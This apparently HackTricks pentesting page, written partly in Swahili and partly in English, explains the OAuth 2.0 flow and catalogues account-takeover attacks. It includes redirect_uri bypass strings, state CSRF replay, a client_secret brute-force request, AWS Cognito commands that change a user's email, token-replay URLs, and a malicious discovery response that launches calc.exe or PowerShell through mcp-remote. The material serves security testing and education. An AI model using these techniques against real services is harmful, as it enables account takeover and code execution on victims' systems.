OAuth to Account takeover

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

OAuth inatoa matoleo mbalimbali, na maarifa ya msingi yanapatikana kwenye OAuth 2.0 documentation. Mazungumzo haya yanazingatia hasa OAuth 2.0 authorization code grant type, yakitoa mfumo wa idhini unaomruhusu programu kufikia au kufanya vitendo kwenye akaunti ya mtumiaji katika programu nyingine (seva ya uthibitishaji).

Fikiria tovuti ya mfano https://example.com, iliyoundwa kuonyesha machapisho yako yote ya mitandao ya kijamii, ikiwa ni pamoja na yaliyofichwa. Ili kufanikisha hili, OAuth 2.0 inatumiwa. https://example.com itaomba ruhusa yako ya kupata machapisho yako ya mitandao ya kijamii. Kwa hiyo, skrini ya idhini itaonekana kwenye https://socialmedia.com, ikielezea ruhusa zinazotakiwa na msanidi programu anayetoa ombi. Ukikubali, https://example.com itapata uwezo wa kupata machapisho yako kwa niaba yako.

Ni muhimu kuelewa vipengele vifuatavyo ndani ya mfumo wa OAuth 2.0:

  • mmiliki wa rasilimali (resource owner): Wewe, kama mtumiaji/entiti, unatoa idhini ya kufikiwa kwa rasilimali zako, kama machapisho ya akaunti yako ya mitandao ya kijamii.
  • seva ya rasilimali (resource server): Seva inayosimamia maombi yaliyoidhinishwa baada ya programu kupata access token kwa niaba ya resource owner, kwa mfano, https://socialmedia.com.
  • programu ya mteja (client application): Programu inayotafuta idhini kutoka kwa resource owner, kama https://example.com.
  • seva ya uthibitishaji (authorization server): Seva inayotoa access tokens kwa client application baada ya resource owner kuthibitishwa na kupata idhini, kwa mfano, https://socialmedia.com.
  • client_id: Kitambulisho cha umma, cha kipekee kwa programu.
  • client_secret: Ufunguo wa siri, unaojulikana tu kwa programu na seva ya uthibitishaji, unaotumika kutengeneza access_tokens.
  • response_type: Thamani inayobainisha aina ya token inayotakiwa, kama code.
  • scope: Kiwango cha ufikiaji ambacho client application inakuomba kutoka kwa resource owner.
  • redirect_uri: URL ambayo mtumiaji anarudishiwa baada ya idhini. Hii kawaida lazima iwe sawa na URL ya redirect iliyosajiliwa awali.
  • state: Kigezo cha kuhifadhi data wakati mtumiaji anarudishwa kwenda na kutoka kwa seva ya uthibitishaji. Unao tofauti yake ni muhimu kama njia ya kuzuia CSRF.
  • grant_type: Kigezo kinachoonyesha aina ya grant na aina ya token itakayorejeshwa.
  • code: Msimbo wa idhini kutoka kwa authorization server, unaotumika pamoja na client_id na client_secret na client application kupata access_token.
  • access_token: Token ambayo client application inatumia kwa maombi ya API kwa niaba ya resource owner.
  • refresh_token: Inaruhusu programu kupata access_token mpya bila kumwuliza tena mtumiaji.

Mtiririko

Mtiririko halisi wa OAuth unaendelea kama ifuatavyo:

  1. Unatembelea https://example.com na kubofya kitufe “Integrate with Social Media”.
  2. Tovuti kisha inatuma ombi kwa https://socialmedia.com ikiomba idhini yako kuruhusu application ya https://example.com kufikia machapisho yako. Ombi limeundwa kama ifuatavyo:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Kisha utaonyeshwa ukurasa wa idhini.
  2. Baada ya idhini yako, Mtandao wa Kijamii atatuma jibu kwa redirect_uri lenye vigezo code na state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com hutumia code hii, pamoja na client_id na client_secret, kufanya ombi upande wa server ili kupata access_token kwa niaba yako, kuruhusu kupata ruhusa ulizokubali:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Mwisho, mchakato unafungwa wakati https://example.com inatumia access_token yako kufanya mwito wa API kwa Vyombo vya Kijamii ili kufikia

Vulnerabilities

Open redirect_uri

Per RFC 6749 §3.1.2, the authorization server must redirect the browser only to pre-registered, exact redirect URIs. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s code (and state) straight to an attacker endpoint, who can then redeem it and harvest tokens.

Typical attack workflow:

  1. Craft https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback and send it to the victim.
  2. The victim authenticates and approves the scopes.
  3. The IdP redirects to attacker.tld/callback?code=<victim-code>&state=... where the attacker logs the request and immediately exchanges the code.

Common validation bugs to probe:

  • No validation – any absolute URL is accepted, resulting in instant code theft.
  • Weak substring/regex checks on the host – bypass with lookalikes such as evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, or match.com@evil.com.
  • IDN homograph mismatches – validation happens on the punycode form (xn--), but the browser redirects to the Unicode domain controlled by the attacker.
  • Arbitrary paths on an allowed host – pointing redirect_uri to /openredirect?next=https://attacker.tld or any XSS/user-content endpoint leaks the code either through chained redirects, Referer headers, or injected JavaScript.
  • Directory constraints without normalization – patterns like /oauth/* can be bypassed with /oauth/../anything.
  • Wildcard subdomains – accepting *.example.com means any takeover (dangling DNS, S3 bucket, etc.) immediately yields a valid callback.
  • Non-HTTPS callbacks – letting http:// URIs through gives network attackers (Wi-Fi, corporate proxy) the opportunity to snatch the code in transit.

Also review auxiliary redirect-style parameters (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) and the OpenID discovery document (/.well-known/openid-configuration) for additional endpoints that might inherit the same validation bugs.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Kukandamiza redirect_uri kwa “owned/first-party domains” hakutoi msaada ikiwa eneo lolote lililoruhusiwa linaonyesha paths au execution contexts zinazodhibitiwa na mshambuliaji (legacy app platforms, user namespaces, CMS uploads, n.k.). Ikiwa OAuth/federated login flow returns tokens in the URL (query au hash), mshambuliaji anaweza:

  1. Anza flow halali ili kutengeneza pre-token (kwa mfano, etoken katika multi-step Accounts Center/FXAuth flow).
  2. Mtume kwa mwathiriwa authorization URL inayoweka domain iliyoruhusiwa kama redirect_uri/base_uri lakini inainisha next/path ndani ya namespace inayodhibitiwa na mshambuliaji (kwa mfano, https://apps.facebook.com/<attacker_app>).
  3. Baada ya mwathiriwa kuidhinisha, IdP inaredirect kwa path inayodhibitiwa na mshambuliaji yenye thamani nyeti katika URL (token, blob, codes, n.k.).
  4. JavaScript kwenye ukurasa huo unasoma window.location na ku-exfiltrate thamani hizo hata kama domain imeonekana “trusted.”
  5. Replay thamani zilizopokwa dhidi ya endpoints zilizo na mamlaka zinazotarajia tokeni zilizokabidhiwa kupitia redirect. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS katika utekekelezaji wa redirect

Kama ilivyotajwa katika ripoti hii ya bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html inaweza kuwa inawezekana kwamba redirect URL inarudishwa kwenye response ya server baada ya user authenticates, na hivyo kuwa nyeti kwa XSS. Payload inayowezekana ya kujaribu:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Improper handling of state parameter

The state parameter is the Authorization Code flow CSRF token: the client must generate a cryptographically random value per browser instance, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the user’s session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attacker’s identity provider profile.

The replay pattern is always the same:

  1. The attacker authenticates against the IdP with their account and intercepts the last redirect containing code (and any state).
  2. They drop that request, keep the URL, and later abuse any CSRF primitive (link, iframe, auto-submitting form) to force the victim browser to load it.
  3. If the client does not enforce state, the application consumes the attacker’s authorization result and logs the attacker into the victim’s app account.

A practical checklist for state handling during tests:

  • Missing state entirely – if the parameter never appears, the whole login is CSRFable.
  • state not required – remove it from the initial request; if the IdP still issues codes that the client accepts, the defense is opt-in.
  • Returned state not validated – tamper with the value in the response (Burp, MITM proxy). Accepting mismatched values means the stored token is never compared.
  • Predictable or purely data-driven state – many apps stuff redirect paths or JSON blobs into state without mixing in randomness, letting attackers guess valid values and replay flows. Always prepend/append strong entropy before encoding data.
  • state fixation – if the app lets users supply the state value (e.g., via crafted authorization URLs) and reuses it throughout the flow, an attacker can lock in a known value and reuse it across victims.

PKCE can complement state (especially for public clients) by binding the authorization code to a code verifier, but web clients must still track state to prevent cross-user CSRF/account-linking bugs.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Waibaovu wanaweza kuunda akaunti mapema wakitumia barua pepe ya mwathiri. Ikiwa mwathiri baadaye atatumia huduma ya third-party kwa login, programu inaweza bila kutaka kuunganisha akaunti ya third-party na akaunti iliyotengenezwa mapema na mwibaovu, ikisababisha upenyezaji wa huduma kwa mtu asiyeidhinishwa.
  2. Exploiting Lax OAuth Email Verification: Waibaovu wanaweza kutumia huduma za OAuth ambazo hazithibitishi barua pepe kwa kujiandikisha na kisha kubadilisha barua pepe ya akaunti kwa ile ya mwathiri. Njia hii pia inatoa hatari ya upenyezaji wa akaunti bila idhini, sawa na tukio la kwanza lakini kupitia vector tofauti.

Disclosure of Secrets

The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:

  • Unpacking the APK/IPA, desktop installer, or Electron app and grepping for client_secret, Base64 blobs that decode to JSON, or hard-coded OAuth endpoints.
  • Reviewing bundled config files (plist, JSON, XML) or decompiled strings for client credentials.

Once the attacker extracts the secret they only need to steal any victim authorization code (via a weak redirect_uri, logs, etc.) to independently hit /token and mint access/refresh tokens without involving the legitimate app. Treat public/native clients as incapable of holding secrets—they should instead rely on PKCE (RFC 7636) to prove possession of a per-instance code verifier instead of a static secret. During testing, confirm whether PKCE is mandatory and whether the backend actually rejects token exchanges that omit either the client_secret or a valid code_verifier.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location vimbile leaking Code + State

Mara mteja anapokuwa na code and state, ikiwa zitaonekana katika location.href au document.referrer na zikielekezwa kwa wahusika wa tatu, they leak. Mifumo miwili inayojirudia:

  • Classic Referer leak: baada ya OAuth redirect, kila navigation inayohifadhi ?code=&state= katika URL itayasukuma ndani ya header ya Referer inayotumwa kwa CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: baadhi ya SDKs (pixels/JS loggers) hujiribu kwa matukio ya postMessage kisha hutuma current location.href/referrer kwa backend APIs kwa kutumia token iliyotolewa katika message. Ikiwa unaweza kuingiza token yako mwenyewe kwenye mtiririko huo (kwa mfano, kupitia attacker-controlled postMessage relay), unaweza baadaye kusoma historia/logs za maombi ya API ya SDK na kurecover OAuth artifacts za mwathiriwa zilizojengwa ndani ya maombi hayo.

Access Token Imehifadhiwa katika historia ya kivinjari

Dhamana kuu ya Authorization Code grant ni kwamba access tokens never reach the resource owner’s browser. Wakati utekelezaji unapo leak tokens client-side, mdororo wowote (XSS, Referer leak, proxy logging) unageuka kuwa kuingia kwa akaunti papo hapo. Daima angalia kwa:

  • Tokens in URLs – if access_token appears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties.
  • Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
  • Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
  • Tokens persisted in Web StoragelocalStorage/sessionStorage retain tokens long after logout on shared devices and are script-accessible.

Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.

Everlasting Authorization Code

Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:

  • Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
  • Test sequential reuse – send the same code twice. If the second request yields another token, attackers can clone sessions indefinitely.
  • Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
  • Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.

Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.

Authorization/Refresh Token not bound to client

If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:

  • Capturing a code for app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken.
  • Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary state/app_id while only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens.
  • Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.

Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ unaweza kuona kwamba token ambayo AWS Cognito inareturn kwa mtumiaji inaweza kuwa na enough permissions to overwrite the user data. Kwa hiyo, ikiwa unaweza change the user email for a different user email, unaweza kuwa na uwezo wa take over akaunti za wengine.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.

Abusing other Apps tokens

As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.

Hii ni kwa sababu attacker anaweza kuunda application supporting OAuth and login with Facebook (kwa mfano) ndani ya application yake mwenyewe. Kisha, mara victim atakapo login kwa Facebook kwenye attackers application, attacker anaweza kupata OAuth token ya user iliyotolewa kwa application yake, na kuitumia ku-login kwenye victim OAuth application kwa kutumia victims user token.

Caution

Kwa hivyo, ikiwa attacker ataweza kumshawishi user kuingia kwenye OAuth application yake mwenyewe, atakuwa na uwezo wa take over account ya victim katika applications ambazo zinatarajia token na hazikagui kama token ilitolewa kwa app ID yao.

According to this writeup, ilikuwa inawezekana kumfanya victim afungue ukurasa wenye returnUrl unaoelekeza kwenye attackers host. Taarifa hii ingehifadhiwa katika cookie (RU) na katika hatua ya baadaye prompt itaomba user kama anataka kumruhusu attackers host huyo.

Ili kuiepuka prompt hii, ilikuwa inawezekana kufungua tab kuanzisha Oauth flow ambayo itaunda cookie ya RU kwa kutumia returnUrl, kufunga tab kabla prompt haijaonyeshwa, na kufungua tab mpya bila thamani hiyo. Kisha, prompt haitataja attackers host, lakini cookie itakuwa imewekwa kwa hiyo host, hivyo token itatumwa kwa attackers host kupitia redirect.

Prompt Interaction Bypass

As explained in this video, baadhi ya implementations za OAuth zinaruhusu kuonyesha parameter ya GET ya prompt kama None (&prompt=none) ili kuzuia watumiaji kuulizwa kuthibitisha access iliyotolewa kwenye prompt kwenye web ikiwa tayari wako logged in kwenye platform.

response_mode

As explained in this video, inaweza kuwa inawezekana kueleza parameter response_mode kuonyesha wapi unataka code itolewe kwenye URL ya mwisho:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs ni malengo mazuri ya clickjacking: ikiwa zinaweza kuframed, attacker anaweza kuweka graphics maalum juu yao, kuficha vitufe halisi, na kumsukuma mtumiaji akubali scopes hatari au kuunganisha accounts. Tengeneza PoC ambazo:

  1. Pakia IdP authorization URL ndani ya <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Tumia positioning/opacity tricks za absolute ili kupanga fake buttons kwa usahihi juu ya controls za Allow/Approve zilizofichwa.
  3. Hiari jaza parameters (scopes, redirect URI) ili approval iliyoporwa ifaidi attacker mara moja.

Wakati wa testing thibitisha kama kurasa za IdP zinatuma X-Frame-Options: DENY/SAMEORIGIN au restrictive Content-Security-Policy: frame-ancestors 'none'. Ikiwa hakuna, onyesha hatari kwa tooling kama NCC Group’s clickjacking PoC generator na rekodi jinsi mtumiaji anavyoweza kumtumiaji rahisi authorizes app ya attacker. Kwa mawazo ya payload zaidi ona Clickjacking.

OAuth ROPC flow - 2 FA bypass

According to this blog post, huu ni OAuth flow unaoruhusu kuingia kwenye OAuth kupitia username na password. Ikiwa katika flow hii rahisi token inarudishwa yenye access kwa vitendo vyote mtumiaji anaweza kufanya, basi inawezekana bypass 2FA kwa kutumia token hiyo.

ATO on web page redirecting based on open redirect to referrer

This blogpost inaelezea jinsi ilivyowezekana kuabusa open redirect kwa thamani ya referrer kuaibisha OAuth ili kupata ATO. Attack ilikuwa:

  1. Victim anafungua ukurasa wa attacker
  2. Victim anafungua link hatari na opener inaanzisha Google OAuth flow na response_type=id_token,code&prompt=none kama parameters za ziada ikitumia kama referrer the attackers website.
  3. Katika opener, baada provider kuwaruhusu victim, inawatuma nyuma kwa thamani ya redirect_uri parameter (victim web) kwa 30X code ambayo bado inaweka attackers website katika referer.
  4. Victim website inachochea open redirect based on the referrer ikimrudisha user kwa attackers website, kwa kuwa response_type ilikuwa id_token,code, code itatumwa kwa attacker kwenye fragment ya URL ikimruhusu kuchukua over account ya user kupitia Google kwenye site ya victim.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration katika OAuth ni vector isiyoonekana mara moja lakini muhimu kwa vulnerabilities za usalama, hasa kwa Server-Side Request Forgery (SSRF). Endpoint hii inaruhusu OAuth servers kupokea maelezo kuhusu client applications, ikiwa ni pamoja na URLs nyeti ambazo zinaweza kutumiwa vibaya.

Mambo Muhimu:

  • Dynamic Client Registration mara nyingi imewekwa kwenye /register na inakubali maelezo kama client_name, client_secret, redirect_uris, na URLs za logos au JSON Web Key Sets (JWKs) kupitia POST requests.
  • Kipengele hiki kinafuata specifications za RFC7591 na OpenID Connect Registration 1.0, ambazo zinajumuisha parameters zinazoweza kuwa za hatari kwa SSRF.
  • Mchakato wa registration unaweza kusababisha server kuathiriwa na SSRF kwa njia kadhaa:
  • logo_uri: URL ya logo ya client ambayo server inaweza kuibofya, ikasababisha SSRF au XSS ikiwa URL inashughulikiwa vibaya.
  • jwks_uri: URL ya nyaraka ya JWK ya client, ambazo ikiwa zimeundwa kwa madhumuni mabaya, zinaweza kusababisha server kufanya requests za outbound kwenye server inayodhibitiwa na attacker.
  • sector_identifier_uri: Inareferensa JSON array ya redirect_uris, ambayo server inaweza kuipiga, ikichangia fursa ya SSRF.
  • request_uris: Orodha ya request URIs zilizokubaliwa kwa client, ambazo zinaweza kutumiwa ikiwa server inapiga URIs hizi mwanzoni mwa mchakato wa authorization.

Strategy ya Exploitation:

  • SSRF inaweza kuchochewa kwa ku-register client mpya na URLs zenye madhuni katika parameters kama logo_uri, jwks_uri, au sector_identifier_uri.
  • Wakati exploitation ya moja kwa moja kupitia request_uris inaweza kupunguzwa kwa controls za whitelist, kutoa request_uri iliyosajiliwa kabla na inayoendeshwa na attacker inaweza kuwezesha SSRF wakati wa awamu ya authorization.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Research on CVE-2025-6514 (inayoathiri mcp-remote clients kama Claude Desktop, Cursor or Windsurf) inaonyesha jinsi dynamic OAuth discovery inavyowezesha RCE wakati client inapotuma metadata ya IdP moja kwa moja kwa operating system. MCP server ya mbali inarudisha authorization_endpoint inayodhibitiwa na attacker wakati wa discovery exchange (/.well-known/openid-configuration au RPC yoyote ya metadata). mcp-remote ≤0.1.15 kisha ingelitumia system URL handler (start, open, xdg-open, etc.) na kile chochote kilichopokelewa, hivyo scheme/path yoyote inayoungwa mkono na OS ilitekelezwa mahali hapa.

Attack workflow

  1. Elekeza desktop agent kwa hostile MCP/OAuth server (npx mcp-remote https://evil). Agent inapokea 401 pamoja na metadata.
  2. Server inajibu na JSON kama:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Mteja anazindua OS handler kwa URI iliyotolewa. Windows inakubali payloads kama file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux zinakubali file:///Applications/Calculator.app/... au hata schemes maalum kama cmd://bash -lc '<payload>' ikiwa zimejisajili.
  2. Kwa sababu hili hufanyika kabla ya mwingiliano wowote wa mtumiaji, kwa tu kusanidi mteja kuzungumza na server ya mshambuliaji huleta utekelezwaji wa code.

Jinsi ya kujaribu

  • Lenga desktop/agent yoyote inayoweza kutumia OAuth ambayo hufanya discovery kupitia HTTP(S) na hufungua endpoints zilizorejeshwa kwa ndani (Electron apps, CLI helpers, thick clients).
  • Intercept au host jibu la discovery na ubadilishe authorization_endpoint, device_authorization_endpoint, au vipengele vinavyofanana na file://, cmd://, UNC paths, au schemes hatari nyingine.
  • Angalia kama mteja unathibitisha scheme/host. Ukosefu wa uthibitisho husababisha utekelezwaji mara moja chini ya muktadha wa mtumiaji na kuthibitisha tatizo.
  • Rudia kwa schemes tofauti ili kuchora uso mzima wa shambulio (mfano, ms-excel:, data:text/html,, custom protocol handlers) na kuonyesha uwezo wa kuvuka majukwaa.

Race Conditions za watoaji wa OAuth

Ikiwa jukwaa unalolifanyia mtihani ni OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

Katika OAuth, field ya sub inaanika mtumiaji kwa njia ya kipekee, lakini muundo wake unabadilika kulingana na Authorization Server. Ili kupangilia utambulisho wa watumiaji, baadhi ya clients hutumia emails au user handles. Hata hivyo, hii ni hatari kwa sababu:

  • Baadhi ya Authorization Servers hawahakiki kwamba mali hizi (kama email) zitabaki zisibadilike.
  • Katika utekelezwaji fulani—kama “Login with Microsoft”—mteja unategemea field ya email, ambayo ni inadhibitiwa na mtumiaji ndani ya Entra ID na haijahakikishiwa.
  • Mshambuliaji anaweza kumtumia hili kwa kuunda shirika lao la Azure AD (mfano, doyensectestorg) na kulitumia kwa kufanya Microsoft login.
  • Ingawa Object ID (inahifadhiwa katika sub) ni isiyobadilika na salama, utegemezi kwa field ya email inayoweza kubadilika unaweza kuwezesha account takeover (kwa mfano, kutapeli akaunti kama victim@gmail.com).

Client Confusion Attack

Katika Client Confusion Attack, programu inayotumia OAuth Implicit Flow inashindwa kuthibitisha kwamba access token ya mwisho imetengenezwa mahsusi kwa Client ID yake mwenyewe. Mshambuliaji huanzisha tovuti ya umma inayotumia Google’s OAuth Implicit Flow, akidanganya maelfu ya watumiaji kuingia na hivyo kuvuna access tokens zilizokusudiwa kwa tovuti ya mshambuliaji. Ikiwa watumiaji hawa pia wana akaunti kwenye tovuti nyingine yenye udhaifu ambayo haisahihishi Client ID ya token, mshambuliaji anaweza kutumia tena tokens zilizovunwa kuiga waathiriwa na kuchukua udhibiti wa akaunti zao.

Scope Upgrade Attack

Aina ya Authorization Code Grant inahusisha mawasiliano salama server-to-server kwa kusambaza data za mtumiaji. Hata hivyo, ikiwa Authorization Server inaamini kwa unyenyekevu parameter ya scope katika Access Token Request (parameter ambayo haijaainishwa kwenye RFC), programu yenye nia mbaya inaweza kuinua vibali vya authorization code kwa kuomba scope ya juu zaidi. Baada ya Access Token kutengenezwa, Resource Server lazima ilisitishe: kwa JWT tokens, hili linajumuisha kukagua signature ya JWT na kutoa data kama client_id na scope, wakati kwa tokens za random string, server lazima iulize Authorization Server ili kupata maelezo ya token.

Redirect Scheme Hijacking

Katika utekelezaji wa OAuth kwenye simu, apps hutumia custom URI schemes kupokea redirects zenye Authorization Codes. Hata hivyo, kwa sababu apps nyingi zinaweza kusajili scheme sawa kwenye kifaa, dhana kwamba mteja halali pekee ndiye anayeudhibiti redirect URI inavunjika. Kwa mfano kwenye Android, Intent URI kama com.example.app:// oauth inashikwa kulingana na scheme na filters za hiari zilizoainishwa katika intent-filter ya app. Kwa kuwa utatuzi wa Android kwa intent unaweza kuwa mpana—hasa ikiwa schema peke yake imetajwa—mshambuliaji anaweza kusajili app yenye nia mbaya na intent filter iliyoundwa kwa umakini ili kunyakua authorization code. Hii inaweza kuruhusu account takeover kwa njia ya mwingiliano wa mtumiaji (wakati apps nyingi zinaweza kushindana kushughulikia intent) au kupitia mbinu za bypass zinazotumia filters zilizotengenezwa kupita kiasi, kama ilivyoelezwa kwenye flowchart ya tathmini ya Ostorlab.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks